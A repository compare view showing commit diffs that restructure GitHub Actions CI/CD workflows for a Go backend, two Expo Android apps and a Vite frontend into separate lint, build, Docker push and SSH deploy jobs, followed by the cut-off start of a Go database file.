Compare commits
4
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
97381b8b68 | ||
|
|
8ebb6d2370 | ||
|
|
eb8ba01159 | ||
|
|
1672dc1e20 |
@@ -11,8 +11,32 @@ on:
|
|||||||
- "backend/**/**"
|
- "backend/**/**"
|
||||||
|
|
||||||
jobs:
|
jobs:
|
||||||
build:
|
lint:
|
||||||
|
name: Static Analysis (golangci-lint)
|
||||||
runs-on: ubuntu-latest
|
runs-on: ubuntu-latest
|
||||||
|
|
||||||
|
steps:
|
||||||
|
- uses: actions/checkout@v4
|
||||||
|
|
||||||
|
- name: Setup Go
|
||||||
|
uses: actions/setup-go@v5
|
||||||
|
with:
|
||||||
|
go-version: "1.24.4"
|
||||||
|
cache-dependency-path: backend/gestion/go.sum
|
||||||
|
|
||||||
|
- name: golangci-lint
|
||||||
|
uses: golangci/golangci-lint-action@v6
|
||||||
|
continue-on-error: true
|
||||||
|
with:
|
||||||
|
version: latest
|
||||||
|
working-directory: backend/gestion
|
||||||
|
args: --timeout=5m
|
||||||
|
|
||||||
|
build:
|
||||||
|
name: Build
|
||||||
|
needs: lint
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
|
||||||
steps:
|
steps:
|
||||||
- uses: actions/checkout@v4
|
- uses: actions/checkout@v4
|
||||||
|
|
||||||
@@ -26,21 +50,6 @@ jobs:
|
|||||||
working-directory: backend/gestion
|
working-directory: backend/gestion
|
||||||
run: go mod download
|
run: go mod download
|
||||||
|
|
||||||
- name: golangci-lint
|
|
||||||
uses: golangci/golangci-lint-action@v6
|
|
||||||
continue-on-error: true
|
|
||||||
with:
|
|
||||||
version: latest
|
|
||||||
working-directory: backend/gestion
|
|
||||||
args: --timeout=5m
|
|
||||||
|
|
||||||
- name: Install & run gosec
|
|
||||||
working-directory: backend/gestion
|
|
||||||
continue-on-error: true
|
|
||||||
run: |
|
|
||||||
go install github.com/securego/gosec/v2/cmd/gosec@latest
|
|
||||||
gosec ./...
|
|
||||||
|
|
||||||
- name: Build
|
- name: Build
|
||||||
working-directory: backend/gestion
|
working-directory: backend/gestion
|
||||||
run: go build -v ./...
|
run: go build -v ./...
|
||||||
@@ -52,44 +61,54 @@ jobs:
|
|||||||
path: backend/gestion/gestion
|
path: backend/gestion/gestion
|
||||||
retention-days: 7
|
retention-days: 7
|
||||||
|
|
||||||
|
docker:
|
||||||
|
name: Docker Build & Push
|
||||||
|
needs: build
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
if: github.event_name == 'push' && github.ref == 'refs/heads/main'
|
||||||
|
|
||||||
|
steps:
|
||||||
|
- uses: actions/checkout@v4
|
||||||
|
|
||||||
- name: Login to Docker Hub
|
- name: Login to Docker Hub
|
||||||
if: github.event_name == 'push'
|
|
||||||
uses: docker/login-action@v3
|
uses: docker/login-action@v3
|
||||||
with:
|
with:
|
||||||
username: ${{ secrets.DOCKERHUB_USERNAME }}
|
username: ${{ secrets.DOCKERHUB_USERNAME }}
|
||||||
password: ${{ secrets.DOCKERHUB_TOKEN }}
|
password: ${{ secrets.DOCKERHUB_TOKEN }}
|
||||||
|
|
||||||
- name: Set up Docker Buildx
|
- name: Set up Docker Buildx
|
||||||
if: github.event_name == 'push'
|
|
||||||
uses: docker/setup-buildx-action@v3
|
uses: docker/setup-buildx-action@v3
|
||||||
|
|
||||||
- name: Build & push backend (runtime)
|
- name: Build & push backend (runtime)
|
||||||
if: github.event_name == 'push'
|
|
||||||
uses: docker/build-push-action@v6
|
uses: docker/build-push-action@v6
|
||||||
with:
|
with:
|
||||||
context: .
|
context: .
|
||||||
file: docker-prod/backend/Dockerfile
|
file: docker/backend/Dockerfile
|
||||||
target: runtime
|
target: runtime
|
||||||
push: true
|
push: true
|
||||||
tags: xor1234/backend-mln:${{ github.ref == 'refs/heads/main' && 'latest' || 'pre-prod' }}
|
tags: xor1234/backend-mln:latest
|
||||||
|
|
||||||
- name: Build & push WAF
|
- name: Build & push WAF
|
||||||
if: github.event_name == 'push'
|
|
||||||
uses: docker/build-push-action@v6
|
uses: docker/build-push-action@v6
|
||||||
with:
|
with:
|
||||||
context: .
|
context: .
|
||||||
file: docker-prod/backend/Dockerfile
|
file: docker/backend/Dockerfile
|
||||||
target: waf
|
target: waf
|
||||||
push: true
|
push: true
|
||||||
tags: xor1234/backend-mln:${{ github.ref == 'refs/heads/main' && 'waf' || 'waf-pre-prod' }}
|
tags: xor1234/backend-mln:waf
|
||||||
|
|
||||||
- name: SSH Deploy
|
deploy:
|
||||||
if: github.event_name == 'push'
|
name: SSH Deploy
|
||||||
|
needs: docker
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
|
||||||
|
steps:
|
||||||
|
- name: SSH deploy
|
||||||
uses: appleboy/ssh-action@v1
|
uses: appleboy/ssh-action@v1
|
||||||
with:
|
with:
|
||||||
host: ${{ (github.ref == 'refs/heads/main' || github.base_ref == 'main') && secrets.SERVER_HOST_PROD || secrets.SERVER_HOST_PRE_PROD }}
|
host: ${{ (github.ref == 'refs/heads/main' || github.base_ref == 'main') && secrets.SERVER_HOST_PROD || secrets.SERVER_HOST }}
|
||||||
username: ${{ secrets.SERVER_USER }}
|
username: ${{ secrets.SERVER_USER }}
|
||||||
key: ${{ (github.ref == 'refs/heads/main' || github.base_ref == 'main') && secrets.SERVER_SSH_KEY_PROD || secrets.SERVER_SSH_KEY_PRE_PROD }}
|
key: ${{ (github.ref == 'refs/heads/main' || github.base_ref == 'main') && secrets.SERVER_SSH_KEY_PROD || secrets.SERVER_SSH_KEY }}
|
||||||
script: |
|
script: |
|
||||||
docker compose -f ${{ (github.ref == 'refs/heads/main' || github.base_ref == 'main') && secrets.COMPOSE_PATH_PROD || secrets.COMPOSE_PATH_PRE_PROD }} pull backend waf
|
docker compose -f ${{ secrets.COMPOSE_PATH }} pull backend waf
|
||||||
docker compose -f ${{ (github.ref == 'refs/heads/main' || github.base_ref == 'main') && secrets.COMPOSE_PATH_PROD || secrets.COMPOSE_PATH_PRE_PROD }} up -d --no-deps backend waf
|
docker compose -f ${{ secrets.COMPOSE_PATH }} up -d --no-deps backend waf
|
||||||
|
|||||||
@@ -11,8 +11,9 @@ on:
|
|||||||
- "frontend-admin/**"
|
- "frontend-admin/**"
|
||||||
|
|
||||||
jobs:
|
jobs:
|
||||||
build:
|
typecheck:
|
||||||
runs-on: ubuntu-latest
|
runs-on: ubuntu-latest
|
||||||
|
|
||||||
steps:
|
steps:
|
||||||
- uses: actions/checkout@v4
|
- uses: actions/checkout@v4
|
||||||
|
|
||||||
@@ -23,20 +24,6 @@ jobs:
|
|||||||
cache: npm
|
cache: npm
|
||||||
cache-dependency-path: frontend-admin/package-lock.json
|
cache-dependency-path: frontend-admin/package-lock.json
|
||||||
|
|
||||||
- name: Setup Java
|
|
||||||
uses: actions/setup-java@v4
|
|
||||||
with:
|
|
||||||
distribution: temurin
|
|
||||||
java-version: 17
|
|
||||||
|
|
||||||
- name: Setup Android SDK
|
|
||||||
uses: android-actions/setup-android@v3
|
|
||||||
|
|
||||||
- name: Install EAS CLI & tooling
|
|
||||||
run: |
|
|
||||||
npm install -g eas-cli
|
|
||||||
pip install -r scripts/requirements.txt awscli --quiet
|
|
||||||
|
|
||||||
- name: Install dependencies
|
- name: Install dependencies
|
||||||
working-directory: frontend-admin
|
working-directory: frontend-admin
|
||||||
run: npm ci
|
run: npm ci
|
||||||
@@ -45,24 +32,29 @@ jobs:
|
|||||||
working-directory: frontend-admin
|
working-directory: frontend-admin
|
||||||
run: npx tsc --noEmit
|
run: npx tsc --noEmit
|
||||||
|
|
||||||
- name: Determine config
|
build-apk:
|
||||||
id: config
|
needs: typecheck
|
||||||
run: |
|
runs-on: ubuntu-latest
|
||||||
if [ "${{ github.ref_name }}" = "main" ] || [ "${{ github.base_ref }}" = "main" ]; then
|
|
||||||
echo "profile=production" >> $GITHUB_OUTPUT
|
steps:
|
||||||
echo "channel=production-admin" >> $GITHUB_OUTPUT
|
- uses: actions/checkout@v4
|
||||||
echo "api_url=${{ secrets.PROD_API_URL }}" >> $GITHUB_OUTPUT
|
|
||||||
echo "ota_api_url=https://mln-uber.club" >> $GITHUB_OUTPUT
|
- name: Setup Node.js
|
||||||
echo "apk_name=admin-panel-production-$(date +%Y%m%d-%H%M).apk" >> $GITHUB_OUTPUT
|
uses: actions/setup-node@v4
|
||||||
echo "message=Production update $(date +%Y%m%d-%H%M)" >> $GITHUB_OUTPUT
|
with:
|
||||||
else
|
node-version: 20
|
||||||
echo "profile=pre-prod" >> $GITHUB_OUTPUT
|
cache: npm
|
||||||
echo "channel=pre-prod-admin" >> $GITHUB_OUTPUT
|
cache-dependency-path: frontend-admin/package-lock.json
|
||||||
echo "api_url=${{ secrets.PREPROD_API_URL }}" >> $GITHUB_OUTPUT
|
|
||||||
echo "ota_api_url=https://5.181.0.112.nip.io" >> $GITHUB_OUTPUT
|
- name: Setup Expo & EAS CLI
|
||||||
echo "apk_name=admin-panel-pre-prod-$(date +%Y%m%d-%H%M).apk" >> $GITHUB_OUTPUT
|
uses: expo/expo-github-action@v8
|
||||||
echo "message=Pre-prod update $(date +%Y%m%d-%H%M)" >> $GITHUB_OUTPUT
|
with:
|
||||||
fi
|
eas-version: latest
|
||||||
|
token: ${{ secrets.EXPO_TOKEN }}
|
||||||
|
|
||||||
|
- name: Install dependencies
|
||||||
|
working-directory: frontend-admin
|
||||||
|
run: npm ci
|
||||||
|
|
||||||
- name: Inject EAS project ID
|
- name: Inject EAS project ID
|
||||||
working-directory: frontend-admin
|
working-directory: frontend-admin
|
||||||
@@ -70,65 +62,21 @@ jobs:
|
|||||||
jq '.expo.extra.eas.projectId = "${{ secrets.EXPO_PROJECT_ID }}"' app.json > app.tmp.json
|
jq '.expo.extra.eas.projectId = "${{ secrets.EXPO_PROJECT_ID }}"' app.json > app.tmp.json
|
||||||
mv app.tmp.json app.json
|
mv app.tmp.json app.json
|
||||||
|
|
||||||
- name: Restore Gradle cache (RustFS)
|
- name: Build APK
|
||||||
env:
|
|
||||||
AWS_ACCESS_KEY_ID: ${{ secrets.RUSTFS_ACCESS_KEY }}
|
|
||||||
AWS_SECRET_ACCESS_KEY: ${{ secrets.RUSTFS_SECRET_KEY }}
|
|
||||||
S3_ENDPOINT: https://rustfs.uber-stup.club
|
|
||||||
S3_BUCKET: apk-builds
|
|
||||||
run: python scripts/eas_cache.py restore --app frontend-admin
|
|
||||||
|
|
||||||
- name: Build APK (local)
|
|
||||||
working-directory: frontend-admin
|
working-directory: frontend-admin
|
||||||
env:
|
env:
|
||||||
EXPO_TOKEN: ${{ secrets.EXPO_TOKEN }}
|
|
||||||
EXPO_PUBLIC_API_URL: ${{ steps.config.outputs.api_url }}
|
|
||||||
EXPO_PUBLIC_UPDATE_URL: ${{ secrets.XAVIA_API_URL }}
|
|
||||||
EAS_BUILD_NO_EXPO_GO_WARNING: true
|
EAS_BUILD_NO_EXPO_GO_WARNING: true
|
||||||
NODE_OPTIONS: "--max-old-space-size=2048"
|
run: eas build --platform android ${{ (github.ref == 'refs/heads/main' || github.base_ref == 'main') && '--profile production' || '--profile preview' }} --non-interactive
|
||||||
GRADLE_OPTS: "-Dorg.gradle.jvmargs=-Xmx3g -XX:MaxMetaspaceSize=512m -XX:+HeapDumpOnOutOfMemoryError -Dorg.gradle.daemon=false -Dorg.gradle.parallel=true -Dorg.gradle.workers.max=2"
|
|
||||||
JAVA_TOOL_OPTIONS: "-Xmx3g"
|
|
||||||
run: eas build --platform android --profile ${{ steps.config.outputs.profile }} --local --non-interactive
|
|
||||||
|
|
||||||
- name: Save Gradle cache (RustFS)
|
- name: Download APK
|
||||||
if: success() || failure()
|
|
||||||
env:
|
|
||||||
AWS_ACCESS_KEY_ID: ${{ secrets.RUSTFS_ACCESS_KEY }}
|
|
||||||
AWS_SECRET_ACCESS_KEY: ${{ secrets.RUSTFS_SECRET_KEY }}
|
|
||||||
S3_ENDPOINT: https://rustfs.uber-stup.club
|
|
||||||
S3_BUCKET: apk-builds
|
|
||||||
run: python scripts/eas_cache.py save --app frontend-admin
|
|
||||||
|
|
||||||
- name: Rename & upload APK to RustFS
|
|
||||||
working-directory: frontend-admin
|
working-directory: frontend-admin
|
||||||
env:
|
|
||||||
AWS_ACCESS_KEY_ID: ${{ secrets.RUSTFS_ACCESS_KEY }}
|
|
||||||
AWS_SECRET_ACCESS_KEY: ${{ secrets.RUSTFS_SECRET_KEY }}
|
|
||||||
AWS_DEFAULT_REGION: us-east-1
|
|
||||||
run: |
|
run: |
|
||||||
mv *.apk ${{ steps.config.outputs.apk_name }}
|
APK_URL=$(eas build:list --platform android --status finished --limit 1 --json --non-interactive | jq -r '.[0].artifacts.buildUrl')
|
||||||
aws s3 cp ${{ steps.config.outputs.apk_name }} \
|
curl -L -o admin-panel-prod.apk "$APK_URL"
|
||||||
s3://apk-builds/${{ steps.config.outputs.profile }}/${{ steps.config.outputs.apk_name }} \
|
|
||||||
--endpoint-url https://rustfs.uber-stup.club \
|
|
||||||
--no-verify-ssl
|
|
||||||
|
|
||||||
- name: Publish OTA update to Xavia
|
- name: Upload production APK artifact
|
||||||
if: github.event_name == 'push'
|
uses: actions/upload-artifact@v4
|
||||||
working-directory: frontend-admin
|
with:
|
||||||
env:
|
name: admin-panel-android-prod-apk
|
||||||
EXPO_TOKEN: ${{ secrets.EXPO_TOKEN }}
|
path: frontend-admin/admin-panel-prod.apk
|
||||||
EXPO_PUBLIC_API_URL: ${{ steps.config.outputs.ota_api_url }}
|
retention-days: 14
|
||||||
EXPO_PUBLIC_UPDATE_URL: ${{ secrets.XAVIA_API_URL }}
|
|
||||||
NODE_OPTIONS: "--max-old-space-size=2048"
|
|
||||||
run: |
|
|
||||||
RUNTIME_VERSION=$(jq -r '.expo.version' app.json)
|
|
||||||
npx expo export --platform android --output-dir dist
|
|
||||||
cd dist && zip -r ../bundle.zip . && cd ..
|
|
||||||
curl -X POST "${{ secrets.XAVIA_API_URL }}/api/upload" \
|
|
||||||
-H "Authorization: Bearer ${{ secrets.XAVIA_API_KEY }}" \
|
|
||||||
-F "file=@bundle.zip" \
|
|
||||||
-F "runtimeVersion=$RUNTIME_VERSION" \
|
|
||||||
-F "channel=${{ steps.config.outputs.channel }}" \
|
|
||||||
-F "commitHash=${{ github.sha }}" \
|
|
||||||
-F "commitMessage=${{ steps.config.outputs.message }}" \
|
|
||||||
--fail
|
|
||||||
|
|||||||
@@ -11,8 +11,9 @@ on:
|
|||||||
- "mobile/**"
|
- "mobile/**"
|
||||||
|
|
||||||
jobs:
|
jobs:
|
||||||
build:
|
typecheck:
|
||||||
runs-on: ubuntu-latest
|
runs-on: ubuntu-latest
|
||||||
|
|
||||||
steps:
|
steps:
|
||||||
- uses: actions/checkout@v4
|
- uses: actions/checkout@v4
|
||||||
|
|
||||||
@@ -23,20 +24,6 @@ jobs:
|
|||||||
cache: npm
|
cache: npm
|
||||||
cache-dependency-path: mobile/package-lock.json
|
cache-dependency-path: mobile/package-lock.json
|
||||||
|
|
||||||
- name: Setup Java
|
|
||||||
uses: actions/setup-java@v4
|
|
||||||
with:
|
|
||||||
distribution: temurin
|
|
||||||
java-version: 17
|
|
||||||
|
|
||||||
- name: Setup Android SDK
|
|
||||||
uses: android-actions/setup-android@v3
|
|
||||||
|
|
||||||
- name: Install EAS CLI & tooling
|
|
||||||
run: |
|
|
||||||
npm install -g eas-cli
|
|
||||||
pip install -r scripts/requirements.txt awscli --quiet
|
|
||||||
|
|
||||||
- name: Install dependencies
|
- name: Install dependencies
|
||||||
working-directory: mobile
|
working-directory: mobile
|
||||||
run: npm ci
|
run: npm ci
|
||||||
@@ -45,24 +32,29 @@ jobs:
|
|||||||
working-directory: mobile
|
working-directory: mobile
|
||||||
run: npx tsc --noEmit
|
run: npx tsc --noEmit
|
||||||
|
|
||||||
- name: Determine config
|
build-apk:
|
||||||
id: config
|
needs: typecheck
|
||||||
run: |
|
runs-on: ubuntu-latest
|
||||||
if [ "${{ github.ref_name }}" = "main" ] || [ "${{ github.base_ref }}" = "main" ]; then
|
|
||||||
echo "profile=production" >> $GITHUB_OUTPUT
|
steps:
|
||||||
echo "channel=production-client" >> $GITHUB_OUTPUT
|
- uses: actions/checkout@v4
|
||||||
echo "api_url=${{ secrets.PROD_API_URL }}" >> $GITHUB_OUTPUT
|
|
||||||
echo "ota_api_url=${{ secrets.PROD_API_URL }}" >> $GITHUB_OUTPUT
|
- name: Setup Node.js
|
||||||
echo "apk_name=mobile-production-$(date +%Y%m%d-%H%M).apk" >> $GITHUB_OUTPUT
|
uses: actions/setup-node@v4
|
||||||
echo "message=Production update $(date +%Y%m%d-%H%M)" >> $GITHUB_OUTPUT
|
with:
|
||||||
else
|
node-version: 20
|
||||||
echo "profile=pre-prod" >> $GITHUB_OUTPUT
|
cache: npm
|
||||||
echo "channel=pre-prod-client" >> $GITHUB_OUTPUT
|
cache-dependency-path: mobile/package-lock.json
|
||||||
echo "api_url=${{ secrets.PREPROD_API_URL }}" >> $GITHUB_OUTPUT
|
|
||||||
echo "ota_api_url=${{ secrets.PREPROD_API_URL }}" >> $GITHUB_OUTPUT
|
- name: Setup Expo & EAS CLI
|
||||||
echo "apk_name=mobile-pre-prod-$(date +%Y%m%d-%H%M).apk" >> $GITHUB_OUTPUT
|
uses: expo/expo-github-action@v8
|
||||||
echo "message=Pre-prod update $(date +%Y%m%d-%H%M)" >> $GITHUB_OUTPUT
|
with:
|
||||||
fi
|
eas-version: latest
|
||||||
|
token: ${{ secrets.EXPO_TOKEN }}
|
||||||
|
|
||||||
|
- name: Install dependencies
|
||||||
|
working-directory: mobile
|
||||||
|
run: npm ci
|
||||||
|
|
||||||
- name: Inject EAS project ID
|
- name: Inject EAS project ID
|
||||||
working-directory: mobile
|
working-directory: mobile
|
||||||
@@ -70,65 +62,25 @@ jobs:
|
|||||||
jq '.expo.extra.eas.projectId = "${{ secrets.EXPO_PROJECT_ID_CLIENT }}"' app.json > app.tmp.json
|
jq '.expo.extra.eas.projectId = "${{ secrets.EXPO_PROJECT_ID_CLIENT }}"' app.json > app.tmp.json
|
||||||
mv app.tmp.json app.json
|
mv app.tmp.json app.json
|
||||||
|
|
||||||
- name: Restore Gradle cache (RustFS)
|
- name: Debug app.json
|
||||||
env:
|
working-directory: mobile
|
||||||
AWS_ACCESS_KEY_ID: ${{ secrets.RUSTFS_ACCESS_KEY }}
|
run: cat app.json
|
||||||
AWS_SECRET_ACCESS_KEY: ${{ secrets.RUSTFS_SECRET_KEY }}
|
|
||||||
S3_ENDPOINT: https://rustfs.uber-stup.club
|
|
||||||
S3_BUCKET: apk-builds
|
|
||||||
run: python scripts/eas_cache.py restore --app mobile
|
|
||||||
|
|
||||||
- name: Build APK (local)
|
- name: Build APK
|
||||||
working-directory: mobile
|
working-directory: mobile
|
||||||
env:
|
env:
|
||||||
EXPO_TOKEN: ${{ secrets.EXPO_TOKEN }}
|
|
||||||
EXPO_PUBLIC_API_URL: ${{ steps.config.outputs.api_url }}
|
|
||||||
EXPO_PUBLIC_UPDATE_URL: ${{ secrets.XAVIA_API_URL }}
|
|
||||||
EAS_BUILD_NO_EXPO_GO_WARNING: true
|
EAS_BUILD_NO_EXPO_GO_WARNING: true
|
||||||
NODE_OPTIONS: "--max-old-space-size=2048"
|
run: eas build --platform android ${{ (github.ref == 'refs/heads/main' || github.base_ref == 'main') && '--profile production' || '--profile preview' }} --non-interactive
|
||||||
GRADLE_OPTS: "-Dorg.gradle.jvmargs=-Xmx3g -XX:MaxMetaspaceSize=512m -XX:+HeapDumpOnOutOfMemoryError -Dorg.gradle.daemon=false -Dorg.gradle.parallel=true -Dorg.gradle.workers.max=2"
|
|
||||||
JAVA_TOOL_OPTIONS: "-Xmx3g"
|
|
||||||
run: eas build --platform android --profile ${{ steps.config.outputs.profile }} --local --non-interactive
|
|
||||||
|
|
||||||
- name: Save Gradle cache (RustFS)
|
- name: Download production APK
|
||||||
if: success() || failure()
|
|
||||||
env:
|
|
||||||
AWS_ACCESS_KEY_ID: ${{ secrets.RUSTFS_ACCESS_KEY }}
|
|
||||||
AWS_SECRET_ACCESS_KEY: ${{ secrets.RUSTFS_SECRET_KEY }}
|
|
||||||
S3_ENDPOINT: https://rustfs.uber-stup.club
|
|
||||||
S3_BUCKET: apk-builds
|
|
||||||
run: python scripts/eas_cache.py save --app mobile
|
|
||||||
|
|
||||||
- name: Rename & upload APK to RustFS
|
|
||||||
working-directory: mobile
|
working-directory: mobile
|
||||||
env:
|
|
||||||
AWS_ACCESS_KEY_ID: ${{ secrets.RUSTFS_ACCESS_KEY }}
|
|
||||||
AWS_SECRET_ACCESS_KEY: ${{ secrets.RUSTFS_SECRET_KEY }}
|
|
||||||
AWS_DEFAULT_REGION: us-east-1
|
|
||||||
run: |
|
run: |
|
||||||
mv *.apk ${{ steps.config.outputs.apk_name }}
|
APK_URL=$(eas build:list --platform android --status finished --limit 1 --json --non-interactive | jq -r '.[0].artifacts.buildUrl')
|
||||||
aws s3 cp ${{ steps.config.outputs.apk_name }} \
|
curl -L -o client-panel-prod.apk "$APK_URL"
|
||||||
s3://apk-builds/${{ steps.config.outputs.profile }}/${{ steps.config.outputs.apk_name }} \
|
|
||||||
--endpoint-url https://rustfs.uber-stup.club \
|
|
||||||
--no-verify-ssl
|
|
||||||
|
|
||||||
- name: Publish OTA update to Xavia
|
- name: Upload production APK artifact
|
||||||
if: github.event_name == 'push'
|
uses: actions/upload-artifact@v4
|
||||||
working-directory: mobile
|
with:
|
||||||
env:
|
name: client-panel-android-prod-apk
|
||||||
EXPO_TOKEN: ${{ secrets.EXPO_TOKEN }}
|
path: mobile/client-panel-prod.apk
|
||||||
EXPO_PUBLIC_API_URL: ${{ steps.config.outputs.ota_api_url }}
|
retention-days: 14
|
||||||
EXPO_PUBLIC_UPDATE_URL: ${{ secrets.XAVIA_API_URL }}
|
|
||||||
NODE_OPTIONS: "--max-old-space-size=2048"
|
|
||||||
run: |
|
|
||||||
RUNTIME_VERSION=$(jq -r '.expo.version' app.json)
|
|
||||||
npx expo export --platform android --output-dir dist
|
|
||||||
cd dist && zip -r ../bundle.zip . && cd ..
|
|
||||||
curl -X POST "${{ secrets.XAVIA_API_URL }}/api/upload" \
|
|
||||||
-H "Authorization: Bearer ${{ secrets.XAVIA_API_KEY }}" \
|
|
||||||
-F "file=@bundle.zip" \
|
|
||||||
-F "runtimeVersion=$RUNTIME_VERSION" \
|
|
||||||
-F "channel=${{ steps.config.outputs.channel }}" \
|
|
||||||
-F "commitHash=${{ github.sha }}" \
|
|
||||||
-F "commitMessage=${{ steps.config.outputs.message }}" \
|
|
||||||
--fail
|
|
||||||
|
|||||||
@@ -5,16 +5,18 @@ on:
|
|||||||
branches: [main, pre-prod]
|
branches: [main, pre-prod]
|
||||||
paths:
|
paths:
|
||||||
- "frontend-prep/**"
|
- "frontend-prep/**"
|
||||||
- "docker-pre-prod/frontend/**"
|
- "docker/frontend/**"
|
||||||
pull_request:
|
pull_request:
|
||||||
branches: [main, pre-prod]
|
branches: [main, pre-prod]
|
||||||
paths:
|
paths:
|
||||||
- "frontend-prep/**"
|
- "frontend-prep/**"
|
||||||
- "docker-pre-prod/frontend/**"
|
- "docker/frontend/**"
|
||||||
|
|
||||||
jobs:
|
jobs:
|
||||||
build:
|
lint-typecheck:
|
||||||
|
name: Lint & Typecheck
|
||||||
runs-on: ubuntu-latest
|
runs-on: ubuntu-latest
|
||||||
|
|
||||||
steps:
|
steps:
|
||||||
- uses: actions/checkout@v4
|
- uses: actions/checkout@v4
|
||||||
|
|
||||||
@@ -29,11 +31,32 @@ jobs:
|
|||||||
working-directory: frontend-prep
|
working-directory: frontend-prep
|
||||||
run: npm ci
|
run: npm ci
|
||||||
|
|
||||||
- name: Typecheck & lint
|
- name: Typecheck
|
||||||
working-directory: frontend-prep
|
working-directory: frontend-prep
|
||||||
run: |
|
run: npx tsc -b --noEmit
|
||||||
npx tsc -b --noEmit
|
|
||||||
npm run lint
|
- name: Lint
|
||||||
|
working-directory: frontend-prep
|
||||||
|
run: npm run lint
|
||||||
|
|
||||||
|
build:
|
||||||
|
name: Build
|
||||||
|
needs: lint-typecheck
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
|
||||||
|
steps:
|
||||||
|
- uses: actions/checkout@v4
|
||||||
|
|
||||||
|
- name: Setup Node.js
|
||||||
|
uses: actions/setup-node@v4
|
||||||
|
with:
|
||||||
|
node-version: 20
|
||||||
|
cache: npm
|
||||||
|
cache-dependency-path: frontend-prep/package-lock.json
|
||||||
|
|
||||||
|
- name: Install dependencies
|
||||||
|
working-directory: frontend-prep
|
||||||
|
run: npm ci
|
||||||
|
|
||||||
- name: Build
|
- name: Build
|
||||||
working-directory: frontend-prep
|
working-directory: frontend-prep
|
||||||
@@ -41,35 +64,48 @@ jobs:
|
|||||||
VITE_TOMTOM_API_KEY: ${{ secrets.VITE_TOMTOM_API_KEY }}
|
VITE_TOMTOM_API_KEY: ${{ secrets.VITE_TOMTOM_API_KEY }}
|
||||||
run: npm run build
|
run: npm run build
|
||||||
|
|
||||||
|
docker:
|
||||||
|
name: Docker Build & Push
|
||||||
|
needs: build
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
if: >
|
||||||
|
(github.event_name == 'push' && (github.ref == 'refs/heads/main' || github.ref == 'refs/heads/pre-prod')) ||
|
||||||
|
(github.event_name == 'pull_request' && (github.base_ref == 'main' || github.base_ref == 'pre-prod'))
|
||||||
|
|
||||||
|
steps:
|
||||||
|
- uses: actions/checkout@v4
|
||||||
|
|
||||||
|
- name: Set up Docker Buildx
|
||||||
|
uses: docker/setup-buildx-action@v3
|
||||||
|
|
||||||
- name: Login to Docker Hub
|
- name: Login to Docker Hub
|
||||||
if: github.event_name == 'push' || github.event_name == 'pull_request'
|
|
||||||
uses: docker/login-action@v3
|
uses: docker/login-action@v3
|
||||||
with:
|
with:
|
||||||
username: ${{ secrets.DOCKERHUB_USERNAME }}
|
username: ${{ secrets.DOCKERHUB_USERNAME }}
|
||||||
password: ${{ secrets.DOCKERHUB_TOKEN }}
|
password: ${{ secrets.DOCKERHUB_TOKEN }}
|
||||||
|
|
||||||
- name: Set up Docker Buildx
|
|
||||||
if: github.event_name == 'push' || github.event_name == 'pull_request'
|
|
||||||
uses: docker/setup-buildx-action@v3
|
|
||||||
|
|
||||||
- name: Build & push frontend
|
- name: Build & push frontend
|
||||||
if: github.event_name == 'push' || github.event_name == 'pull_request'
|
|
||||||
uses: docker/build-push-action@v6
|
uses: docker/build-push-action@v6
|
||||||
with:
|
with:
|
||||||
context: .
|
context: .
|
||||||
file: docker-prod/frontend/Dockerfile
|
file: docker/frontend/Dockerfile
|
||||||
push: true
|
push: true
|
||||||
tags: xor1234/frontend-mln:${{ (github.ref == 'refs/heads/main' || github.base_ref == 'main') && 'latest' || 'pre-prod' }}
|
tags: xor1234/frontend-mln:${{ (github.ref == 'refs/heads/main' || github.base_ref == 'main') && 'latest' || 'pre-prod' }}
|
||||||
build-args: |
|
build-args: |
|
||||||
VITE_TOMTOM_API_KEY=${{ secrets.VITE_TOMTOM_API_KEY }}
|
VITE_TOMTOM_API_KEY=${{ secrets.VITE_TOMTOM_API_KEY }}
|
||||||
|
|
||||||
- name: SSH Deploy
|
deploy:
|
||||||
if: github.event_name == 'push'
|
name: Deploy to server
|
||||||
|
needs: docker
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
|
||||||
|
steps:
|
||||||
|
- name: SSH deploy
|
||||||
uses: appleboy/ssh-action@v1
|
uses: appleboy/ssh-action@v1
|
||||||
with:
|
with:
|
||||||
host: ${{ (github.ref == 'refs/heads/main' || github.base_ref == 'main') && secrets.SERVER_HOST_PROD || secrets.SERVER_HOST_PRE_PROD }}
|
host: ${{ (github.ref == 'refs/heads/main' || github.base_ref == 'main') && secrets.SERVER_HOST_PROD || secrets.SERVER_HOST }}
|
||||||
username: ${{ secrets.SERVER_USER }}
|
username: ${{ secrets.SERVER_USER }}
|
||||||
key: ${{ (github.ref == 'refs/heads/main' || github.base_ref == 'main') && secrets.SERVER_SSH_KEY_PROD || secrets.SERVER_SSH_KEY_PRE_PROD }}
|
key: ${{ (github.ref == 'refs/heads/main' || github.base_ref == 'main') && secrets.SERVER_SSH_KEY_PROD || secrets.SERVER_SSH_KEY }}
|
||||||
script: |
|
script: |
|
||||||
docker compose -f ${{ (github.ref == 'refs/heads/main' || github.base_ref == 'main') && secrets.COMPOSE_PATH_PROD || secrets.COMPOSE_PATH_PRE_PROD }} pull frontend
|
docker compose -f ${{ secrets.COMPOSE_PATH }} pull frontend
|
||||||
docker compose -f ${{ (github.ref == 'refs/heads/main' || github.base_ref == 'main') && secrets.COMPOSE_PATH_PROD || secrets.COMPOSE_PATH_PRE_PROD }} up -d --no-deps frontend
|
docker compose -f ${{ secrets.COMPOSE_PATH }} up -d --no-deps frontend
|
||||||
|
|||||||
+289
-160
@@ -3,10 +3,136 @@ package db
|
|||||||
import (
|
import (
|
||||||
"fmt"
|
"fmt"
|
||||||
"gestion/models"
|
"gestion/models"
|
||||||
|
"log"
|
||||||
|
"time"
|
||||||
|
|
||||||
"gorm.io/gorm"
|
"gorm.io/gorm"
|
||||||
)
|
)
|
||||||
|
|
||||||
|
// AddProductInBasket ajoute un produit au panier de l'utilisateur
|
||||||
|
func (d *Database) AddProductInBasket(username, nameProduct string, quantity float64, category string) (*models.Panier, error) {
|
||||||
|
var productResult struct {
|
||||||
|
ID int `gorm:"column:id"`
|
||||||
|
}
|
||||||
|
err := d.GDB.Raw(`SELECT id FROM products WHERE LOWER(name) = LOWER(?) AND LOWER(category) = LOWER(?)`,
|
||||||
|
